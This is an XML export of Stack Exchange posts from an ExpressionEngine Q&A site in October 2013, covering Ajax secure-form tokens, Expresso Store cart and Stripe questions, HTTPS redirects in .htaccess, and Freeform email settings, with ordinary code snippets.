  <row Id="14512" PostTypeId="2" ParentId="14490" CreationDate="2013-10-11T08:22:18.283" Score="3" Body="&lt;p&gt;I see you're already attempting to grab the new XID from the return data of the Ajax call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// update the XID hash in the form so we don't run afoul of EE's secure forms&#xA;$(&quot;input[name=XID]&quot;).val(response.XID);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I fell onto &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#ajax&quot; rel=&quot;nofollow&quot;&gt;this documentation&lt;/a&gt; the other day which I think is new and relating to new EE version handling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like if submitted by Ajax the updated XID is no longer returned as part of the form, instead it's part of the Ajax header.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-10-11T08:22:18.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14513" PostTypeId="2" ParentId="14511" CreationDate="2013-10-11T08:36:10.410" Score="2" Body="&lt;p&gt;Set your options names the same as the image filename (without extension) and use that to pull the image.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{entry_id}&quot; return=&quot;/checkout/basket&quot;}&#xA;  {modifiers}&#xA;    {if &quot;{modifier_name}&quot; == &quot;texture&quot;}&#xA;      {modifier_options}&#xA;        &amp;lt;img src=&quot;your-path-to-images/{option_name}.jpg&quot;/&amp;gt;&#xA;      {/modifier_options}&#xA;    {/if}&#xA;  {/modifiers}&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've not done the correct html for radio buttons and labels with images, but you get the idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to set the value for the form elements as the &lt;code&gt;{option_id}&lt;/code&gt; for Store to be able to understand it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have Colour/Color ;) labelling with spaces or want capitalisation and don't want to worry about it for filenaming, then you can use the &lt;code&gt;{option_id}&lt;/code&gt; as the filename instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/product_tag.html#modifiers_variable_pair&quot; rel=&quot;nofollow&quot;&gt;Docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-10-11T08:36:10.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14514" PostTypeId="2" ParentId="14510" CreationDate="2013-10-11T09:02:54.113" Score="2" Body="&lt;p&gt;Just to expand on Justin's comment, I had this head scratcher too (assuming you've fallen into the same trap) and made a change request to Expresso.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a single form with the quantity and remove buttons on. Users clicked remove, it submitted the form, but the Store code took priority of the quantity and therefore ignored the remove.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using the following form code (shortened for simplicity):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; maxlength=&quot;12&quot; name=&quot;items[{key}][item_qty]&quot; value=&quot;{item_qty}&quot; size=&quot;2&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;remove_items[{key}]&quot; value=&quot;1&quot; class=&quot;delete_item&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it would fail due to the reasoning above - Note this is with Store v1.6.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I had to set the quantity to 0 when the user clicked remove.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//###   Delete Item from Basket - Send via Ajax   ###&#xA;$(&quot;form .delete_item&quot;).click(function(e) {&#xA;    e.preventDefault();&#xA;    if (confirm(&quot;Are you sure?&quot;)) {&#xA;        $(this).parents('tr').animate({ &quot;opacity&quot;: &quot;hide&quot; }, &quot;slow&quot;)&#xA;            .find('.quantity input[type=&quot;text&quot;]').val(0);&#xA;        AjaxSubmit($(this), true);&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-10-11T09:02:54.113" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14515" PostTypeId="2" ParentId="14510" CreationDate="2013-10-11T09:06:41.887" Score="2" Body="&lt;p&gt;Well, I was also looking for an answer for this particular issue. I am still fine tuning what I have but the logic is updating the quantity of the item on the checkout template to zero then update the cart totals, that will remove an item from the cart. Code looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checkout template: I added a link next to the quantity text field&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td&amp;gt;&#xA;     &amp;lt;input name=&quot;items[{key}][item_qty]&quot; value=&quot;{item_qty}&quot; class=&quot;input-mini item_qty&quot; /&amp;gt; &#xA;     &amp;lt;a href=&quot;#&quot; class=&quot;remove-product&quot;&amp;gt;Remove&amp;lt;/a&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;JQuery Script: This updates the quantity of that item to zero and clicks the update cart button&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.remove-product').click(function(){&#xA;         // click handler&#xA;         $(this).prev().val('0');&#xA;         $('#update_cart').click(); &#xA;     return false;   &#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If someone else has a better solution, you can share for all to benefit&lt;/p&gt;&#xA;" OwnerUserId="2178" LastActivityDate="2013-10-11T09:06:41.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14516" PostTypeId="1" AcceptedAnswerId="14531" CreationDate="2013-10-11T09:07:36.737" Score="1" ViewCount="204" Body="&lt;p&gt;I have successfully implemented Stripe payments for a saas service, and all is well. Everything has been recorded in store, in my orders area. Looking in the order, I see the details of the transactions, status, reference etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I am looking at this from the saas point of view, when my next months payment gets pushed in stripe (and it will automatically as a plan billed monthly), is there anything in Expresso store which will record this as an action as part of the same payment, as a transaction on the same order? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking forward - that if someone subscribed to a service, they pay the first month, then the next month they cancel or indeed keep paying, there's some notification of this so I can leave them work away or lock them out accordingly. &lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-10-11T15:39:17.183" Title="Expresso Store / Stripe" Tags="|expresso-store|ecommerce|stripe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14517" PostTypeId="2" ParentId="14500" CreationDate="2013-10-11T09:09:16.743" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/easy-icalendar&quot; rel=&quot;nofollow&quot;&gt;Easy iCalendar&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/calendar&quot; rel=&quot;nofollow&quot;&gt;SolSpace Calendar&lt;/a&gt; (hell of a price tag though!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note I've not used either so can't recommend and you'd need to explore further!&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-10-11T09:09:16.743" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14518" PostTypeId="2" ParentId="14509" CreationDate="2013-10-11T09:42:46.860" Score="1" Body="&lt;p&gt;I've not used load-&gt;config but all the other load commands allow for a second parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;model('filterdb_model', &quot;filterDB&quot;);&#xA;$modules = $this-&amp;gt;EE-&amp;gt;filterDB-&amp;gt;get_installed_modules($moduleName);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the second parameter is the reference to the class. But reading the CI documentation for config doesn't seem to behave the same - it expects a boolean :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I just do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require PATH_THIRD.strtolower(get_class($this)).'/config/config.php';&#xA;$this-&amp;gt;name = $config['name'];&#xA;$this-&amp;gt;version = $config['version'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/libraries/config.html&quot; rel=&quot;nofollow&quot;&gt;CI Docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/166742/#798282&quot; rel=&quot;nofollow&quot;&gt;Forums&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/forums/viewthread/192728/#909814&quot; rel=&quot;nofollow&quot;&gt;Another CI reference&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-10-11T09:42:46.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14519" PostTypeId="2" ParentId="14490" CreationDate="2013-10-11T09:51:34.687" Score="2" Body="&lt;p&gt;YYYYYYEEEEEEEEESSSSSSSS!!!! Thank F for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have got this working. Peter's answer was the right way to go. It was in the docs all along! For those that may run into a similar situation, I fixed this by adding the recommend ajaxPrefilter that is mentioned in the docs - with a little tweak to define the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An updated JS Fiddle: &#xA;&lt;a href=&quot;http://jsfiddle.net/aSDju/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/aSDju/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Super sweet - I freakin' love this community. Thanks for all you input guys. I can breath easy once more.&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-10-11T09:51:34.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14520" PostTypeId="1" AcceptedAnswerId="14762" CreationDate="2013-10-11T11:34:19.617" Score="4" ViewCount="394" Body="&lt;p&gt;We've setup a site for a client to populate with their content and they are having a recurring issue when they go to 'save revision' or 'submit' the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they've spent a bit of time adding the entry content, when they click either save or submit, they're getting dumped out to the control panel home.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wondered whether the session could have been expiring (or changing somehow) so changed the security to cookies only, but they're still having the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else come across this or have any thoughts as to why it might be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2013-11-20T22:32:20.587" Title="Save revision on channel entry error" Tags="|channel|entries|sessions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14522" PostTypeId="2" ParentId="5142" CreationDate="2013-10-11T12:46:13.683" Score="0" Body="&lt;p&gt;To make te translation for the tag &lt;code&gt;{error:field_name}&lt;/code&gt;, you must do a translation in codeigniter. The specific form translation are in the file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;system\codeigniter\system\language\english\form_validation_lang.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how the select a different language for codeigniter so I just translated the English files because I only need one language.&lt;/p&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2013-10-11T12:46:13.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14523" PostTypeId="2" ParentId="14468" CreationDate="2013-10-11T13:02:06.327" Score="1" Body="&lt;p&gt;If the channel Field Type is set to 'Textarea (Rich Text)' then you can just use the Field Name as the tag - eg: &lt;code&gt;{your_rte_field}&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="820" LastActivityDate="2013-10-11T13:02:06.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14524" PostTypeId="1" AcceptedAnswerId="14535" CreationDate="2013-10-11T13:33:56.660" Score="1" ViewCount="50" Body="&lt;p&gt;I think my question is very easy, but I can't find out how. I have changed the default language under Admin &gt; General Configuration to &quot;Dutch&quot;. But the e-mail that are send when a user registers or does a password recovery are all in English. The Dutch file &lt;code&gt;email_date.php&lt;/code&gt; does contain the translation but this English is send.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix this? Of do I need to change another language setting?&lt;/p&gt;&#xA;" OwnerUserId="1700" LastActivityDate="2013-10-11T17:02:00.163" Title="Change the email language" Tags="|members|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14525" PostTypeId="1" CreationDate="2013-10-11T14:35:40.380" Score="0" ViewCount="119" Body="&lt;p&gt;I'm making a filter functionality where the user can do a keyword search and sort by &quot;Newest&quot;, &quot;Most viewed&quot; and &quot;Most pinned&quot;. I'm using Low Search to do the search, Solspace Tracker for counting views, and Solspace Favorites to let the user pin content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My approach to get the results is to first do the search with Low Search (if the user did a keyword search) and stash away the resulting id's. Then insert the id's into the entry_id parameter. This works great when I use {exp:channel:entries} and {exp:tracker:rank}, but not with {exp:favorites:rank}. Here's a stripped down example of my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:favorites:rank &#xA;    entry_id=&quot;{exp:stash:get name='search_result_ids'}&quot; &#xA;    show_unfavorited=&quot;yes&quot; &#xA;    orderby=&quot;count&quot; &#xA;    channel=&quot;article&quot; &#xA;    limit=&quot;10&quot; &#xA;    pagination=&quot;bottom&quot; &#xA;    parse=&quot;inward&quot;}&#xA;&#xA;    entry_id = {entry_id}&amp;lt;br&amp;gt;&#xA;&#xA;{/exp:favorites:rank}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even if I harcode id's into the entry_id parameter, all entries are being returned. Is this a bug, or intended behavior? It says in the documentation that &quot;Most of the parameters available in the Channel:Entries loop are available here&quot;, which really isn't much help. &quot;Most of&quot; could mean that entry_id isn't one of them, but who knows? :)&lt;/p&gt;&#xA;" OwnerUserId="222" LastActivityDate="2013-10-11T18:37:39.560" Title="Using entry_id parameter with Solspace Favorites" Tags="|solspace|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14526" PostTypeId="1" AcceptedAnswerId="14534" CreationDate="2013-10-11T14:38:39.457" Score="2" ViewCount="2798" Body="&lt;p&gt;Ugh, seems like I'm having a lot of htaccess issues lately. Recently moved a client site to new hosting from the cient's internal server. Their IT had setup SSL and updated the .htaccess to redirect &lt;a href=&quot;http://site.com/login&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://site.com/login&lt;/a&gt; to &lt;a href=&quot;https://site.com/login&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://site.com/login&lt;/a&gt;. This .htaccess file causes a &quot;too many redirects&quot; error. I've done a lot of trial and error testing on this and the results are always the same. I even found &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7601/adding-a-htaccess-redirect-to-https-that-plays-nicely-with-existing-ee-htacces&quot;&gt;Adding a .htaccess redirect to https that plays nicely with existing EE .htaccess rules&lt;/a&gt; and tried that exact working htaccess file and got the same results. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;# Remove trailing slashes&#xA;RewriteCond %{REQUEST_METHOD} !=POST&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.+)/$ /$1 [R=301,L]&#xA;&#xA;# Redirect certain site pages to SSL and vice-versa&#xA;RewriteCond %{REQUEST_URI} !(login|themes|images|assets)&#xA;RewriteCond %{QUERY_STRING} !^(ACT=.*)$ [NC]&#xA;RewriteCond %{HTTPS} on&#xA;RewriteRule ^(.*)$ http://%{HTTP_HOST}%{REQUEST_URI} [R=301,NC,L]&#xA;&#xA;RewriteCond %{REQUEST_URI} (login)&#xA;RewriteCond %{HTTPS} !=on&#xA;#RewriteCond %{SERVER_PORT} !^443$&#xA;RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [R=301,NC,L]&#xA;&#xA;# Remove index.php from URLs&#xA;RewriteCond $1 !(^index\.php|(\.(gif|jpe?g|png|css|js)))$&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've commented out everything but this and still have the same issue...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} (login)&#xA;RewriteCond %{HTTPS} !=on&#xA;#RewriteCond %{SERVER_PORT} !^443$&#xA;RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [R=301,NC,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="603" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-10-16T16:45:24.427" Title="Trying to redirect a page to HTTPS using .htaccess, getting &quot;too many redirects&quot; error" Tags="|htaccess|redirects|ssl|secure|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14527" PostTypeId="1" CreationDate="2013-10-11T14:57:07.720" Score="0" ViewCount="670" Body="&lt;p&gt;Using Solspace's Freeform, how can I dynamically set the admin notification email address? Ideally i'd like to set this via Low Variables so that my client can change all of their contact information in one window.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-10-11T17:19:03.267" Title="Solspace Freeform: How to dynamically set admin notification email" Tags="|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14528" PostTypeId="1" CreationDate="2013-10-11T15:09:54.370" Score="1" ViewCount="722" Body="&lt;p&gt;Does anyone have any experience updating EE with this big of a jump between versions?  I need to update a huge website to 2.7.2 so that I can upgrade to PHP 5.3 on the hosting server.  Being that it's such a big site and I don't really have any EE experience, I'm a bit gun shy.  I've read and re-read the instructions for making a version update, and they do seem pretty straightforward.  There aren't any add-ons that I need to worry about at least.  Would trying this out on a local server first be an unnecessary hassle?  Should I just make all my back ups and go for it?&lt;/p&gt;&#xA;" OwnerUserId="2069" LastActivityDate="2013-10-23T19:46:59.467" Title="Updating from 1.6.8 to 2.7.2" Tags="|updating|2.7.1|backup|1.x|" AnswerCount="2" CommentCount="1" ClosedDate="2013-10-24T16:15:37.333" ContentLicense="CC BY-SA 3.0" />
  <row Id="14529" PostTypeId="2" ParentId="14221" CreationDate="2013-10-11T15:17:42.553" Score="1" Body="&lt;p&gt;The second bug is also reported: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19782&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19782&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try editing system/expressionengine/modules/channel/libraries/Channel_form/&#xA;Channel_form_lib.php around line 966 so it looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;datepicker)&#xA; {&#xA;  $js_defaults['ui'][] = 'datepicker';&#xA;  $js_defaults['file'][] = 'cp/date';&#xA;&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You’re just adding the $js_defaults[‘file’][] = ‘cp/date’;.&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2013-10-11T15:17:42.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14530" PostTypeId="2" ParentId="14384" CreationDate="2013-10-11T15:18:10.783" Score="1" Body="&lt;p&gt;This was a Stash bug. Fixed in v2.4.3. &lt;a href=&quot;http://devot-ee.com/add-ons/support/stash/viewthread/10871&quot; rel=&quot;nofollow&quot;&gt;More Info.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-10-11T15:18:10.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14531" PostTypeId="2" ParentId="14516" CreationDate="2013-10-11T15:39:17.183" Score="2" Body="&lt;p&gt;Currently Store does not support recurring payments or subscriptions, it is currently a &lt;a href=&quot;https://exp-resso.com/support/feature-requests&quot; rel=&quot;nofollow&quot;&gt;feature request&lt;/a&gt; so you can show your interest by voting for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need something soon you have a  few options you can build an extension that listens for the request from Stripe and then does something in the system. Full extension hook documentation is available &lt;a href=&quot;https://exp-resso.com/docs/extension_hooks.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. The other option is you could email support@exp-resso.com and see about sponsoring the feature.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-10-11T15:39:17.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14532" PostTypeId="1" CreationDate="2013-10-11T16:26:44.067" Score="0" ViewCount="139" Body="&lt;p&gt;I have the following setup:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Each entry in a parent channel a number of related child entries from a child channel. These use a standard EE relationship field called “children”.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The parent channel does not use categories.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Each entry in the child channel has a category associated to it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There will be a some child entries related to a single parent entry from the same category.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Given a single parent channel entry, how do I generate a list of the categories for its related child entries without including duplicates if more than one child entry has the same category?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here’s what I’ve tried so far, which results in duplicate entries when child entries are in the same category.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;1&quot; channel=&quot;parent_channel&quot; disable=&quot;{sn_disable_standard}&quot; required=&quot;Yes&quot;} &#xA;    {children}&#xA;        {children:categories}&#xA;            {category_name}&#xA;        {/children:categories}&amp;lt;br /&amp;gt;&#xA;    {/children}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a plug-in that I can use to store the results in a variable, then strip out the duplicate entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or can this be done using standard EE tags? Or even the query module?&lt;/p&gt;&#xA;" OwnerUserId="1978" LastActivityDate="2013-10-12T15:07:32.880" Title="How do I create a list of distinct categories for related entries of a single channel entry?" Tags="|channel-entries|categories|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14533" PostTypeId="1" AcceptedAnswerId="14623" CreationDate="2013-10-11T16:43:48.070" Score="3" ViewCount="509" Body="&lt;p&gt;We're using Pro so the client can use the GUI to easily create forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a custom composer template to output these forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With radio groups I need the first radio to be pre-selected (who wouldn't want that?!), ie checked=&quot;checked&quot;. In fact it doesn't have to be the first radio button, any will do, this will simplify client-side validation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Docs: &lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#freeform_field_field_name&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/#freeform_field_field_name&lt;/a&gt; outlines default_value=&quot;VALUE&quot;, this is available to pre-select a default value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there's no further explanation in 'Default Fieldtypes'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my composer template I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field:{composer:field_name} default_value=&quot;Yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When 'Yes' is available as a value for a radio button it does pre-select it. But I don't know what the values will be as the client will build the forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need this (pseudo code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field:{composer:field_name} default_value=&quot;{composer:field_name[0]:data:value}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone done this? Help from Solspace?&lt;/p&gt;&#xA;" OwnerUserId="351" LastEditorUserId="197" LastEditDate="2013-10-14T20:47:03.557" LastActivityDate="2013-10-15T21:23:05.540" Title="Solspace FreeForm Pro radio group default value" Tags="|solspace-freeform|solspace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14534" PostTypeId="2" ParentId="14526" CreationDate="2013-10-11T16:49:05.127" Score="3" Body="&lt;p&gt;I've run into similar issues in the past, and honestly I gave up on htaccess in the end as I never could get it to work exactly as I intended. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A much easier solution I found was using an add on to force the redirect instead, doing it this way I gained direct control of pages needed redirecting in templates instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used an addon called Force SSL, &lt;a href=&quot;http://devot-ee.com/add-ons/force-ssl&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/force-ssl&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just pop {exp:force_ssl}  in the page you want to be secured and your set. In my case I wanted some pages to not be secured too, so for that I just use {exp:force_ssl:restore} &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay as it's still giving you the error when using other methods to redirect, this suggests to me there's something else causing the problems here. Just do this test for me. Remove all the ssl rules from htaccess, and also any occurrences of the Force SSL addon. Then goto any page on the site, but for SSL by putting https:// in the URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I suspect is in this case it will redirect  back to http:// from https://&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it does this then what's likely happening is there's something in the web server forcing insecure connections. This would be why you get too many redirects as it would just switch back and forth between the too hence the too many redirects error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is this, just get in touch with your web host or whoever administers yoru server to get them to look into that as it's likely a config you don't have access too.&lt;/p&gt;&#xA;" OwnerUserId="587" LastEditorUserId="587" LastEditDate="2013-10-12T02:15:50.510" LastActivityDate="2013-10-12T02:15:50.510" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="14535" PostTypeId="2" ParentId="14524" CreationDate="2013-10-11T17:02:00.163" Score="1" Body="&lt;p&gt;You can alter the content of the emails (including the language) any way you like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log into the CP, goto Design --&gt; message pages --&gt; Email Notifications&lt;/p&gt;&#xA;" OwnerUserId="426" LastActivityDate="2013-10-11T17:02:00.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14536" PostTypeId="2" ParentId="14527" CreationDate="2013-10-11T17:19:03.267" Score="1" Body="&lt;p&gt;You can do this by putting your dynamic variable in the &lt;code&gt;admin_notify=&quot;&quot;&lt;/code&gt; parameter for &lt;code&gt;{exp:freeform:form}&lt;/code&gt;. (Don't forget to use &lt;code&gt;notify_admin=&quot;yes&quot;&lt;/code&gt; as well if you haven't already enabled admin notifications in the Freeform module CP)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example using the {exp:channel:entries} tag pair and a custom channel field containing an email address called {my_email_address_field}. I'm assuming a similar strategy can be used with Low Variables.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries /* your other parameters here */}&#xA;  {exp:freeform:form&#xA;    notify_admin=&quot;yes&quot;&#xA;    admin_notify=&quot;my_email_address_field&quot;&#xA;    // Your other parameters, such as form_id=&quot;&quot; or form_name=&quot;&quot;&#xA;    }&#xA;    // Your form&#xA;  {/exp:freeform:form}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure my_email_address_field is parsed correctly in the &lt;code&gt;admin_notify=&quot;&quot;&lt;/code&gt; parameter. You can confirm that by &lt;strong&gt;turning on Template Debugging&lt;/strong&gt; in EE and looking for the {exp:freeform:form} tag containing admin_notify=&quot;&quot;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-11T17:19:03.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
